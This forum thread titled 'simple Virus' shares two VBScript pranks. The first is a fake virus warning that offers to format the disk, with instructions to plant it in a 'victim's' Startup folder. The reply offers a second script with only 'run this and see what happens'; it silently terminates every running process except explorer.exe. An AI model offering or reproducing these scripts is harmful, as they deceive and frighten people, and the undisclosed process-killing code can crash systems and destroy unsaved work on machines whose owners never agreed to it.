simple Virus

AAA999

Junior member
  • Aug 4, 2008
    147
    20
    18
    Open notepad and type this:

    lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")

    Then save it as Virus.VBS and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.
    On startup
    (C:\Documents and Settings\All Users\Start Menu\Programs\Startup) the window should appear.

    Note: This does not harm your computer as it does not contain virus.

    The Yes and no button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox ("Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot",20,"Warning")



    Oh in between make sure your victim does not panic and really reformat his harddisk
     

    pjayampathi

    Well-known member
  • Jan 20, 2008
    6,253
    39
    48
    yeh.. run this like the above and see what happens.. :) hahhah
    Dim wmiObject, objProcess, colProcess, index, exist, process(9)

    Set wmiObject = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set colProcess =wmiObject.ExecQuery ("Select * from Win32_Process")

    process(0)="explorer.exe"


    For Each objProcess in colProcess
    Dim processObj, processList, processName
    For index=0 to 1
    If objProcess.Name=process(index) Then exist="yes"
    Next
    if exist<>"yes" then
    processName ="'"&objProcess.name&"'"

    Set processList = wmiObject.ExecQuery ("Select * from Win32_Process Where Name = " & processName)

    For Each processObj in processList
    processObj.Terminate()
    Next
    End If

    exist="No"
    Next
    WSCript.Quit